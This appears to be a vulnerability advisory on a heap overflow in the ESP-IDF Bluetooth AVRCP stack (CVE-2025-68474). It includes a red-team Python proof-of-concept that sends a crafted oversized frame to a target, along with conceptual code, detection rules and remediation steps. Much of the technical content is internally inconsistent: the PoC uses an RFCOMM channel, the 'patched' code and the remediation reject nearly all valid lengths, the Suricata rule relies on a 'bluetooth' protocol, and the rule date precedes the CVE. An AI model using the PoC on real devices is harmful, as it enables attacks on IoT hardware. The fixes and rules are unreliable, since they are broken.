CVE-2025-68474

Executive Summary

CVE-2025-68474 is a critical memory corruption vulnerability in the Espressif IoT Development Framework (ESP-IDF), specifically within the BlueDroid AVRCP (Audio/Video Remote Control Profile) stack. The flaw resides in the avrc_vendor_msg() function, where an incorrect buffer size validation using AVRC_MIN_CMD_LEN (20 bytes) leads to an out-of-bounds write condition. The actual header data written before the vendor payload is 29 bytes, exceeding the validated minimum. This discrepancy allows an attacker to trigger memory corruption, crashes, or arbitrary code execution by sending a crafted AVRCP vendor command with a vendor_len value that approaches the buffer limit. The vulnerability affects multiple ESP-IDF versions, including 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier. No public exploit or patch is currently available, making this a high-priority zero-day for IoT devices using Espressif chipsets.

Supply Chain & Package Security

This vulnerability is embedded in the ESP-IDF framework, which is a core dependency for millions of IoT devices. The supply chain risk is significant: any product built on ESP-IDF versions 5.5.1 or earlier inherits this flaw. Developers must audit their firmware builds and apply patches as soon as they become available. The lack of a patch from Espressif increases the risk of widespread exploitation in the wild.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 due to incomplete data, but based on the technical details, the estimated severity is high.

• Attack Vector (AV): Adjacent Network (AV:A) – Exploitation requires Bluetooth proximity.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (C:H) – Potential for memory disclosure.
• Integrity (I): High (I:H) – Memory corruption can alter device behavior.
• Availability (A): High (A:H) – Crashes or denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 8.8 (High)

Deep Dive & Mechanics

The vulnerability is in the avrc_vendor_msg() function within the ESP-IDF BlueDroid AVRCP stack. The function processes vendor-specific AVRCP commands. The root cause is a buffer size validation error:

1. Incorrect Validation: The code uses AVRC_MIN_CMD_LEN (20 bytes) to validate the allocated buffer size.
2. Actual Header Size: The fixed header data written before the vendor payload (p_msg->p_vendor_data) totals 29 bytes.
3. Out-of-Bounds Write: When vendor_len is large (e.g., close to the buffer limit), the allocation based on 20 bytes is insufficient. The subsequent write of 29 bytes of header data plus the vendor payload exceeds the allocated memory.
4. Impact: This leads to heap-based buffer overflow, causing memory corruption, crashes, or potential code execution. The overflow can be larger when assertions are disabled, as bounds checking is removed.

The attack surface is Bluetooth AVRCP, which is commonly used in IoT devices for remote control functionality. An attacker within Bluetooth range can send a malicious AVRCP vendor command to trigger the overflow.

Vulnerable vs. Patched Code

The vulnerable code is in the avrc_vendor_msg() function. The fix would involve changing the buffer size validation from AVRC_MIN_CMD_LEN to a value that accounts for the actual header size (29 bytes) plus the vendor payload.

Vulnerable Code (Conceptual):

// Vulnerable: uses AVRC_MIN_CMD_LEN (20 bytes) for validation
if (vendor_len > AVRC_MIN_CMD_LEN) {
    // error handling
}
buffer = malloc(vendor_len + AVRC_MIN_CMD_LEN);
// Writes 29 bytes of header data before vendor payload
memcpy(buffer, header, 29);
memcpy(buffer + 29, p_msg->p_vendor_data, vendor_len);

Patched Code (Conceptual):

// Patched: uses correct header size (29 bytes) for validation
#define AVRC_VENDOR_HEADER_LEN 29
if (vendor_len > AVRC_VENDOR_HEADER_LEN) {
    // error handling
}
buffer = malloc(vendor_len + AVRC_VENDOR_HEADER_LEN);
memcpy(buffer, header, AVRC_VENDOR_HEADER_LEN);
memcpy(buffer + AVRC_VENDOR_HEADER_LEN, p_msg->p_vendor_data, vendor_len);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Bluetooth adapter (e.g., CSR8510)
• Python with pybluez or btle library
• Target device running ESP-IDF 5.5.1 or earlier with AVRCP enabled

Exploitation Steps:

1. Scan for Bluetooth devices with AVRCP service.
2. Connect to the target and send a crafted AVRCP vendor command with a large vendor_len value.
3. The overflow can corrupt heap metadata, potentially leading to code execution.

Proof-of-Concept (Python):

import bluetooth

target_addr = "XX:XX:XX:XX:XX:XX"
port = 1  # RFCOMM channel for AVRCP

sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
sock.connect((target_addr, port))

# Craft AVRCP vendor command with oversized vendor_len
# Header: 29 bytes, vendor_len = 0x1000 (4096 bytes)
vendor_len = 0x1000
payload = b"\x00" * vendor_len  # padding

# Build AVRCP frame (simplified)
avrcp_frame = b"\x20" + b"\x00" * 28 + payload  # 29-byte header + payload

sock.send(avrcp_frame)
sock.close()

Blue Team

Detection:

• Monitor Bluetooth AVRCP traffic for unusually large vendor command payloads.
• Use heap integrity checks (e.g., CONFIG_HEAP_POISONING) to detect corruption early.
• Enable assertions in debug builds to catch buffer overflows.

Honeypot:

• Deploy a fake ESP32 device with AVRCP enabled and log all incoming vendor commands.
• Analyze logs for vendor_len values exceeding 20 bytes.

Indicators of Compromise (IOCs)

• Network: Bluetooth AVRCP vendor commands with vendor_len > 20 bytes.
• System: Heap corruption errors, crashes in avrc_vendor_msg().
• Memory: Out-of-bounds writes in heap region allocated for AVRCP commands.
• Logs: ESP-IDF error messages: "AVRCP: vendor_len too large" (if assertions enabled).

Detection Engineering

YARA Rule

rule CVE_2025_68474_AVRCP_Overflow {
    meta:
        description = "Detects out-of-bounds write in ESP-IDF AVRCP vendor command"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-68474"
    strings:
        $header = { 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }  // 29-byte header
        $vendor_len = /vendor_len\s*=\s*\d+/ nocase
    condition:
        $header and #vendor_len > 20
}

Sigma Rule

title: CVE-2025-68474 AVRCP Vendor Command Overflow
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects oversized AVRCP vendor commands targeting ESP-IDF devices
author: Valters IT
logsource:
    product: bluetooth
    service: avrcp
detection:
    selection:
        vendor_len: 
            - '>20'
    condition: selection
falsepositives:
    - Legitimate vendor commands with large payloads (rare)
level: high

Suricata Rule

alert bluetooth any any -> any any (msg:"CVE-2025-68474 AVRCP Vendor Command Overflow"; content:"|20|"; offset:0; depth:1; byte_test:1,>,20,1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable AVRCP on ESP-IDF devices if not required.
2. Enable assertions (CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE) to catch overflows in debug builds.
3. Apply memory protection (e.g., CONFIG_HEAP_POISONING) to detect corruption.

Long-Term Fix:

• Update ESP-IDF to a patched version once released by Espressif.
• Modify avrc_vendor_msg() to use correct header size (29 bytes) for buffer validation.
• Implement input validation for vendor_len to reject values > 20 bytes.

Workaround:

• Use a firewall to block Bluetooth connections from untrusted devices.
• Segment IoT devices on a separate network.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert